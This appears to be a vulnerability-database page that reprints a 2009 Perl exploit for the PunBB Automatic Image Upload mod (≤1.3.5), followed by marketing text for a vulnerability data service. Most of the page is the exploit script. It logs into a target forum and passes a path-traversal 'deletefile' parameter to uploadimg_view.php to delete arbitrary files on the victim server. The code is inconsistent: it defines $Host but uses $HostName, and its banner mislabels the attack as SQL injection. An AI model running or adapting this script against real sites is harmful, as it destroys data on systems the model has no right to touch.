Lucene search
K

PunBB Automatic Image Upload <= 1.3.5 Delete Arbitrary File Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

PunBB Automatic Image Upload <= 1.3.5 Delete Arbitrary File Exploi

Code

                                                #!/usr/bin/perl
#[0-Day] PunBB Automatic Image Upload &#60;= v1.3.5 Delete Arbitrary File Vulnerability
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew
#Works only if &#39;$Allow_Delete[] = &#34;[USERGROUP]&#34;;&#39; is not commented in &#34;uploadimg_config.php&#34; [FIND LINE: 75]. Example:
#//$Allow_Delete[] = &#34;Members&#34;; =&#62; $Allow_Delete[] = &#34;Members&#34;;

use LWP::UserAgent;
use HTTP::Cookies;

my ($UserName,$PassWord,$DirectoryFile,$DeleteFile) = @ARGV;

if(@ARGV &#60; 4){
    &usage();
    exit();
}

my $Message = &#34;&#34;;
my $Host = &#34;http://www.victime_site.org/path/&#34;; #Insert Victime Web Site Link
my $Referrer = &#34;http://www.warwolfz.com/&#34;;

my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
            agent =&#62; &#39;Mozilla/5.0&#39;,
            max_redirect =&#62; 0,
            cookie_jar =&#62; $Cookies,
        ) or die $!;

sub Login(){
    my $Login = $UserAgent-&#62;post($HostName.&#39;/login.php?action=in&#39;,
                [
                    form_sent        =&#62; &#39;1&#39;,
                    redirect_url    =&#62; &#39;index.php&#39;,
                    req_username    =&#62; $UserName,
                    req_password    =&#62; $PassWord,
                    login =&#62; &#39;Login&#39;,
                ]) || die $!;

    if($Login-&#62;content =~ /Logged in /i){
        return 1;
    }else{
        return 0;
    }
}

if (Login() == 1){
    $Message = &#34; * Logged in as: &#34; . $UserName;
}elsif (Login() == 0){
    $Message = &#34; * Login Failed.&#34;;
}

my $Get = $UserAgent-&#62;get($HostName.&#34;./uploadimg_view.php?view=gallery&p=1&deletefile=./&#34;.$DirectoryFile.&#34;/&#34;.$DeleteFile);
my $GetFile = $UserAgent-&#62;get($HostName.&#34;./uploads/&#34;.$DirectoryFile.$DeleteFile);

if($Get-&#62;content =~ /&#60;b&#62;Warning&#60;\/b&#62;: /i){
    refresh($Message, $HostName, &#34;&#34;, &#34;&#34;);
    print &#34; * Error deleting sensible data.\n&#34;;
    print &#34; * Exploit Failed                                     *\n&#34;;
    print &#34; ------------------------------------------------------ \n\n&#34;;
}elsif ($GetFile-&#62;as_string =~ /404 Not Found/i){
    refresh($Message, $HostName, $DirectoryFile, $DeleteFile);
    print &#34; * File Deleted                                       *\n&#34;;
    print &#34; * Exploit Successed                                  *\n&#34;;
    print &#34; ------------------------------------------------------\n\n&#34;;
    system(&#34;pause&#34;);
}else{
    refresh($Message, $HostName, &#34;&#34;, &#34;&#34;);
    print &#34; * General Error. Maybe the file was deleted the same ;)\n&#34;;
    print &#34; * Control manually: &#34;.$HostName.&#34;./uploads/&#34;.$DirectoryFile.$DeleteFile.&#34;\n&#34;;
    print &#34; * Error deleting sensible data.\n&#34;;
    print &#34; * Exploit Failed                                     *\n&#34;;
    print &#34; ------------------------------------------------------ \n\n&#34;;
}

sub usage{
    system(&#34;cls&#34;);
    {
        print &#34; \n [0-Day] PunBB Automatic Image Upload &#60;= v1.3.5 Remote SQL Injection Exploit\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
        print &#34; * USAGE:                                             *\n&#34;;
        print &#34; * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n&#34;;
        print &#34; * perl name_exploit.pl [id]                          *\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
        print &#34; *         Powered By Dante90, WaRWolFz Crew          *\n&#34;;
        print &#34; * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
    };
    exit;
}

sub refresh{
    system(&#34;cls&#34;);
    {
        print &#34; \n [0-Day] PunBB Automatic Image Upload &#60;= v1.3.5 Remote SQL Injection Exploit\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
        print &#34; * USAGE:                                             *\n&#34;;
        print &#34; * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n&#34;;
        print &#34; * perl name_exploit.pl [id]                          *\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
        print &#34; *         Powered By Dante90, WaRWolFz Crew          *\n&#34;;
        print &#34; * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
    };
    print $_[0] .&#34;\n&#34;;
    print &#34; * Victime Site: &#34; . $_[1] . &#34;\n&#34;;
    print &#34; * Directory: &#34; . $_[2] . &#34;\n&#34;;
    print &#34; * File: &#34; . $_[3] . &#34;\n&#34;;
}

#WaRWolFz Crew

# milw0rm.com [2009-07-27]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation